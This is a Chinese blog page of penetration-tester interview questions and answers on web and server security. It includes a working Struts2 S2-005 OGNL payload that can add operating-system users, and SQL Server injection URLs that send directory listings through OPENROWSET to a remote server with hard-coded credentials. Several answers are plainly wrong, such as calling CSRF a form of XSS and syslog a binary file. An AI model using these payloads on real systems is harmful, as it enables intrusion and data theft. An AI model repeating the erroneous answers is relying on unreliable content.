【网络安全】渗透工程师面试题总结大全
前言
總結了一些面試題,大家看看吧!
 
1.如果給你一個 XSS 盲打漏洞,但是返回來的信息顯示,他的后臺是在內網,并且只能使用內網訪問,那么你怎么利用這個 XSS?
必須是 self xss + csrf +ssrf 到 getshel
2.php 的 LFI,本地包含漏洞原理是什么?寫一段帶有漏洞的代碼。
如果允許客戶端用戶輸入控制動態包含在服務器端的文件,會導致惡意代碼的執
 行及敏感信息泄露,主要包括本地文件包含和遠程文件包含兩種形式。
 常見包含函數有:include()、require()
 區別:
 include 是當代碼執行到它的時候才加載文件,發生錯誤的時候只是給一個警告,
 然后繼續往下執行
 require 是只要程序一執行就會立即調用文件,發生錯誤的時候會輸出錯誤信息,
 并且終止腳本的運行
3.CSRF 漏洞的本質是什么?
本質就是 xss
4.你都了解哪些 java 框架?
spring 和 struts2 框架
5.ibats 的參數化查詢能不能有效的控制 sql 注入?有沒有危險的方法可以造成 sql 注入?
SQL 注入主要的是因為文本框的內容和 SQL 連接以后會改變 SQL 的語義,例如:文本框包含單引號什么的
 參數化查詢就可以將這些內容獨立作為參數,本身的語句不會改變。
【面試題獲取】
【面試題獲取】
6.說說兩次 struts2 漏洞的原理?
Struts2 的核心是使用的 webwork 框架,處理 action 時通過調用底層的
 getter/setter 方法來處理 http 的參數,它將每個 http 參數聲明為一個 ONGL(這里是 ONGL 的介紹)語句。
當我們提交一個 http 參數:
?user.address.city=Bishkek&user['favoriteDrink']=kumysONGL 將它轉換為:
action.getUser().getAddress().setCity("Bishkek") action.getUser().setFavoriteDrink("kumys")這是通過 ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的 HTTP參數調用 ValueStack.setValue()。
 為了防范篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使用了 Java 的 unicode 字符串表示\u0023,攻擊者就可以繞過保護,修改保護 Java 方式執行的值:
此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(a aa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u 003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))& (asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti me()))=1轉義后是這樣:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#c ontext['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=ne w%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Ru ntime@getRuntime()))=1OGNL 處理時最終的結果就是
java.lang.Runtime.getRuntime().exit(1); //關閉程序,即將 web 程序關閉 類似的可以執行 java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增 加操作系統用戶,在有權限的情況下能成功(在 URL 中用%20 替換空格,%2F 替換/)
 只要有權限就可以執行任何 DOS 命令
7.ongl 在這個 payload 中起了什么作用?
Ognl 表達式語言,Struts 標簽默認支持的表達式語言,必須配置 Struts 標簽用,
 不能離開 Struts 標簽直接使用,就是說 Ognl 必須在 Struts 中使用
8.\u0023 是什么字符的 16 進制編碼?為什么在 payload 中要用他?
#,在 S2-005 中可通過\u0023 繞過過濾執行
9.xss filter 在 java 程序的哪里設置?
在 web.xml 里面配置
10.說下 java 的類反射在安全上可能存在哪些問題?
可能會導致 JAVA 反序化漏洞
11.tomcat 要做哪些安全加固?
升級到最新穩定版
 從監聽端口上加固
 僅在本地監聽
如果 Tomcat 不需要對外提供服務,則監聽在本地回環,前面放 Nginx。
 如果需要對外提供訪問,比如一個 Nginx 掛多個 Tomcat,那么在服務器上用iptables 只允許負載均衡器的 IP 來訪問
 關閉 8009 端口
 現在我們一般不用 Apache 通過 AJP 協議來調用 Tomcat 了,所以 AJP 端口可
 以關閉。
 8005 端口
 查看端口占用情況
 自定義錯誤頁面,隱藏 Tomcat 信息
 編輯 conf/web.xml,在標簽上添加以下內容:
 禁用 Tomcat 管理頁面
 刪除 webapps 目錄下 Tomcat 原有的所有內容
 刪除 conf/Catalina/localhost/下的 host-manager.xml 和 manager.xml 這兩
 個文件
 用普通用戶啟動 Tomcat
 禁止 Tomcat 列目錄
 如果 tomcat 重啟的話,webapps 下,你刪除的后臺會不會又回來?
 你只是刪除了后臺,并沒有刪除 webaspps 下 war 包
12.mysql 數據庫默認有哪些庫?說出庫的名字?
1.mysql 庫,存儲用戶等信息
 2.information_schema,存儲表、鎖等性能信息
 3.test,mysql 自建測試庫
 4.performance_schema,互斥鎖等信息(5.6 之前需要手動開啟,從 5.6 開始
 默認開啟)
13.mysql 的用戶名密碼是存放在那張表里面?mysql 密碼采用哪種加密方式?
mysql.user 表
 MySQL 4.1 版本之前是 MySQL323 加密,MySQL 4.1 和之后的版本都是
MySQLSHA1 加密
MYSQL323 加密中生成的是 16 位字符串,而在 MySQLSHA1 中生存的是 41位字符串,其中**是不加入實際的密碼運算中,通過觀察在很多用戶中都攜帶了"",在實際破解過程中去掉"*",也就是說 MySQLSHA1 加密的密碼的實際位數是 40 位。
14.mysql 表權限里面,除了增刪改查,文件讀寫,還有哪些權限?
排序,查詢,索引等
15.mysql 安全要如何做?
Mysql 賬戶權限安全
 Mysql 數據的網絡安全配置
 密碼策略安全
 Mysql 日志
 Mysql 數據庫服務所在主機安全配置
 部署 SQL 注入檢測、防御模塊
 mysqld 安全相關啟動選項
 mysql 備份策略
16.sqlserver public 權限要如何提權?
注入點執行
aaa.com x.asp?id=123;create table %23%23dhtemq (list int not null identity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2 nvarchar(500))注入點執行
aaa.com x.asp?id=123;insert into %23%23dhtemq(dirtree,num1,num2) exec master.dbo.xp_dirtree [d:/] ,1,1;--注入點執行
aaa.com x.asp?id=123;insert into OPENROWSET ('sqloledb','server=xx.xx.xx.xx,1433;Initial Catalog=master;uid=sa;pwd=woshinidie','select dirtree,num1,num2 from dhtemq') select dirtree,num1,num2 from ##dhtemq xx.xx.xx.xx 執行 select * from dhtemq --建立一個臨時表,一般的表我們是無辦法建立的,我們只能建立臨時表#-----為本地臨時表##----為全局臨時表create table ##nonamed(dir ntext,num int)--調用存儲過程把執行回來的數據存到臨時表里面insert ##nonamed execute master..xp_dirtree 'c:/',1--然后采用 openrowset 函數把臨時表的數據導到本地 MSSQL 的 dirtree 表里面了insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree') select * from ##nonamed以上方法,也就是說 public 可以遍歷用戶服務器的目錄
 在 NBSI 中,只要把臨時表名加前加##就可以了,但要注意 URL 轉碼,即
 寫成:%23%23nonamed 就 OK 了!
17.簡述 Linux 系統安全加固需要做哪些方面?
1.密碼安全策略
 2.關閉不必要的端口和服務
 3.文件權限的設置等
18.你使用什么工具來判斷系統是否存在后門?
pchunter 攻擊查看進程和服務
19.Linux 的 Selinux 是什么?如何設置 Selinux?
SELinux 是一種安全子系統,它能控制程序只能訪問特定文件
 使用 setup 工具進入圖形化關閉搜索或者修改/etc/sysconfig/selinux 文件
 SELINUX=disabled
 防火墻打開使用 service iptables start 或則/etc/init.d/iptables start
20.iptables 工作在 TCP/IP 模型中的哪層?
網絡層
21.syslog 里面都有哪些日志?安裝軟件的日志去哪找?如何查詢 ssh 的登錄日志?
cd /var/log less secure22.syslog 可不可以使用 vi 等工具直接查看?是二進制文件嗎?
不能,只能使用 cat 之類的命令攻擊查看,屬于二進制文件
23.DNS 在滲透中的作用?
通過 DNS 可以查詢對應的 IP 主機名,也可以查詢出是否存在域傳輸漏洞
網絡安全滲透開發發向是所有安全人所追求的目標,希望這篇文章能幫助到需要的人
總結
以上是生活随笔為你收集整理的【网络安全】渗透工程师面试题总结大全的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: android模拟器 平安行,携手MuM
- 下一篇: 牛客网IT校招编程题-逛公园-Pytho
